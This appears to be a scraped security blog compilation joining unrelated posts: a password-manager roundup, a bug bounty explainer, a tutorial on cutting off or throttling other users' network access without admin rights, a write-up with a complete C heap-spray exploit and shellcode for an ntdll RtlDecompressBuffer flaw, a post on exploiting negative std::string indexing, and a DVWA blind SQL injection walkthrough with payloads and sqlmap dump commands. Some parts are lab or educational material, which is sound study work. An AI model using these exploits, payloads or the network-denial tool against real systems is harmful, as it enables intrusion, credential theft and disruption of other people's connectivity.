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Friday, May 22, 2020

BEST PASSWORD MANAGERS FOR IOS

As I said, Apple's iOS is also prone to cyber attacks, so you can use some of the best password managers for iOS to secure your online accounts.

BEST PASSWORD MANAGERS FOR IOS

Here I have streamlined few of the best password managers for iOS including Keeper, OneSafe, Enpass, mSecure, LastPass, RoboForm, SplashID Safe and LoginBox Pro.

1. ONESAFE PASSWORD MANAGER (CROSS-PLATFORM)

OneSafe is one of the best Password Manager apps for iOS devices that lets you store not only your accounts' passwords but also sensitive documents, credit card details, photos, and more.
OneSafe password manager app for iOS encrypts your data behind a master password, with AES-256 encryption — the highest level available on mobile — and Touch ID. There is also an option for additional passwords for given folders.
OneSafe password manager for iOS also offers an in-app browser that supports autofill of logins, so that you don't need to enter your login details every time.
Besides this, OneSafe also provides advanced security for your accounts' passwords with features like auto-lock, intrusion detection, self-destruct mode, decoy safe and double protection.
Download OneSafe Password Manager: iOS | Mac | Android | Windows

2. SPLASHID SAFE PASSWORD MANAGER (CROSS-PLATFORM)

SplashID Safe is one of the oldest and best password management tools for iOS that allows users to securely store their login data and other sensitive information in an encrypted record.
All your information, including website logins, credit card and social security data, photos and file attachments, are protected with 256-bit encryption.
SplashID Safe Password Manager app for iOS also provides web autofill option, meaning you will not have to bother copy-pasting your passwords in login.
The free version of SplashID Safe app comes with basic record storage functionality, though you can opt for premium subscriptions that provide cross-device syncing among other premium features.
Download SplashID Safe Password Manager: Windows and Mac | iOS | Android

3. LOGIN BOX PRO PASSWORD MANAGER

LoginBox Pro is another great password manager app for iOS devices. The app provides a single tap login to any website you visit, making the password manager app as the safest and fastest way to sign in to password-protected internet sites.
LoginBox Password Manager app for iOS combines a password manager as well as a browser.
From the moment you download it, all your login actions, including entering information, tapping buttons, checking boxes, or answering security questions, automatically completes by the login box Password Manager app.
For security, the login box Password Manager app uses hardware-accelerated AES encryption and passcode to encrypt your data and save it on your device itself.
Download LoginBox Password Manager: iOS | Android

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$$$ Bug Bounty $$$

What is Bug Bounty ?



A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.




Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.


Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1.  In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.


While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.
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Evil Limiter: Taking Control Of Your Network Bandwidth







Ever wanted to block someone from the network or limit their bandwidth without having the network admin privileges? Well Evil Limiter has got you covered then.


An amazing tool to help you control your network without having access to the admin panel.

Today I'm gonna show you how to use this interesting tool to take control of your network.


Requirements:

1. A PC or Laptop with Linux OS.
2. A Network Adapter.
3. Access to the Network you want to control.
4. sudo or root access on your Linux OS.

First of all we will download the tool from its github repository:

https://github.com/bitbrute/evillimiter

You can download and extract the zip file from the link above or you can clone evillimiter repository using git like this:


git clone https://github.com/bitbrute/evillimiter 


Now lets install the downloaded tool on our machine

Step 1: Move inside the downloaded github repository

cd evillimiter


Step 2: To install type


sudo python3 setup.py install


wait for the installation to finish (May take some time)


Step 3: To run type


sudo evilimiter


Voila! That's it, you got it up and running on your machine


Now how do you control your network with it, its very easy.

It should detect your network automatically but yeah you can set it up manually as well using the command line argument -i.

After you have selected the right interface to control, you need to scan your network for live hosts. To perform the scan type


scan


you can pass an optional flag to the scan command which is range which will help you to specify the range of ip addresses you want to scan like this


scan --range 192.168.1.1-192.168.1.100





The above command will scan a total of 100 hosts from 192.168.1.1 to 192.168.1.100


Now after you have scanned your network next thing is to list the hosts that have been discovered during the scan for that you type the hosts command like this


hosts





Now you know the hosts on your network and now you should know which host you wanna block or limit based on the mac address of the host. Remember the host id of the host that you want to block or limit bandwidth of and lets do the magic.

to block a host from using the internet we simply specify the block command followed by the host id of the host that we want to block like this

block 1





if instead of blocking the host we just want to limit his internet bandwidth we can do just that by using the limit command followed by the host id and then the bandwidth that we want to allocate to that particular host like this


limit 1 100kbits





Wohooo! yeah its that easy and yes you can do all this without having the network admin role.

Now if you want to show mercy on that poor guy (blocked host), you can set him free by using the free command followed by the host id like this:

free 1





Well isn't administrating your network bandwidth so easy now.

Hope you enjoyed this tutorial.:)

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RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:


int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
int result; // eax@4

if ( algorithm & algorithm != 1 )
{
if ( algorithm & 0xF0 )
result = -1073741217;
else
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
}
else
{
result = -1073741811;
}
return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder

*/

#include
#include
#include

#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}

PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;

printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);

while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);
}

//map = HeapAlloc(heap, 0, 1*MB);

printf("Aproximated to [%x - %x]\n", map, map+1*MB);


printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);

return map;
}

void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

heap = GetProcessHeap();

compressed_sz = estimated_uncompressed_sz = 1*KB;

compressed = HeapAlloc(heap, 0, compressed_sz);

uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");

ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

switch(ntStat) {
case STATUS_SUCCESS:
printf("decompression Ok!\n");
break;

case STATUS_INVALID_PARAMETER:
printf("bad compression parameter\n");
break;


case STATUS_UNSUPPORTED_COMPRESSION:
printf("unsuported compression\n");
break;

case STATUS_BAD_COMPRESSION_BUFFER:
printf("Need more uncompressed buffer\n");
break;

default:
printf("weird decompression state\n");
break;
}

printf("end.\n");
}

The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
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Thursday, May 21, 2020

C++ Std::String Buffer Overflow And Integer Overflow

Interators are usually implemented using signed integers like the typical "for (int i=0; ..." and in fact is the type used indexing "cstr[i]", most of methods use the signed int, int by default is signed.
Nevertheless, the "std::string::operator[]" index is size_t which is unsigned, and so does size(), and same happens with vectors.
Besides the operator[] lack of negative index control, I will explain this later.

Do the compilers doesn't warn about this?


If his code got a large input it would index a negative numer, let see g++ and clang++ warnings:



No warnings so many bugs out there...

In order to reproduce the crash we can load a big string or vector from file, for example:


I've implemented a loading function, getting the file size with tellg() and malloc to allocate the buffer, then in this case used as a string.
Let see how the compiler write asm code based on this c++ code.



So the string constructor, getting size and adding -2 is clear. Then come the operator<< to concat the strings.
Then we see the operator[] when it will crash with the negative index.
In assembly is more clear, it will call operator[] to get the value, and there will hapen the magic dereference happens. The operator[] will end up returning an invalid address that will crash at [RAX]



In gdb the operator[] is a  allq  0x555555555180 <_znst7__cxx1112basic_stringicst11char_traitsicesaiceeixem plt="">

(gdb) i r rsi
rsi            0xfffffffffffefffe  -65538


The implmementation of operator ins in those functions below:

(gdb) bt
#0  0x00007ffff7feebf3 in strcmp () from /lib64/ld-linux-x86-64.so.2
#1  0x00007ffff7fdc9a5 in check_match () from /lib64/ld-linux-x86-64.so.2
#2  0x00007ffff7fdce7b in do_lookup_x () from /lib64/ld-linux-x86-64.so.2
#3  0x00007ffff7fdd739 in _dl_lookup_symbol_x () from /lib64/ld-linux-x86-64.so.2
#4  0x00007ffff7fe1eb7 in _dl_fixup () from /lib64/ld-linux-x86-64.so.2
#5  0x00007ffff7fe88ee in _dl_runtime_resolve_xsavec () from /lib64/ld-linux-x86-64.so.2
#6  0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29

Then crashes on the MOVZX EAX, byte ptr [RAX]

Program received signal SIGSEGV, Segmentation fault.
0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29
29     cout << "penultimate byte is " << hex << s[i] << endl;
(gdb)


What about negative indexing in std::string::operator[] ?
It's exploitable!

In a C char array is known that having control of the index, we can address memory.
Let's see what happens with C++ strings:






The operator[] function call returns the address of string plus 10, and yes, we can do abitrary writes.



Note that gdb displays by default with at&t asm format wich the operands are in oposite order:


And having a string that is in the stack, controlling the index we can perform a write on the stack.



To make sure we are writing outside the string, I'm gonna do 3 writes:


 See below the command "i r rax" to view the address where the write will be performed.


The beginning of the std::string object is 0x7fffffffde50.
Write -10 writes before the string 0x7fffffffde46.
And write -100 segfaults because is writting in non paged address.



So, C++ std::string probably is not vulnerable to buffer overflow based in concatenation, but the std::string::operator[] lack of negative indexing control and this could create vulnerable and exploitable situations, some times caused by a signed used of the unsigned std::string.size()










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Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."
To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:
Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:
Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:
' or 1=1-- -
This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:
' or 1=1 order by 1-- -
Again we get a valid response lets increase the number to 2.
' or 1=1 order by 2-- -
We get a valid response again lets go for 3.
' or 1=1 order by 3-- -
We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:
1' and substring(version(), 1,1) = 1-- -
Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:
1' and substring(version(),1,1) = 2-- -
And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:
sqlmap --version
this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id
Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables
After getting the list of tables its time to dump the columns of users table like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns
And at last we will dump the passwords column of the users table like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump
Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all
But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

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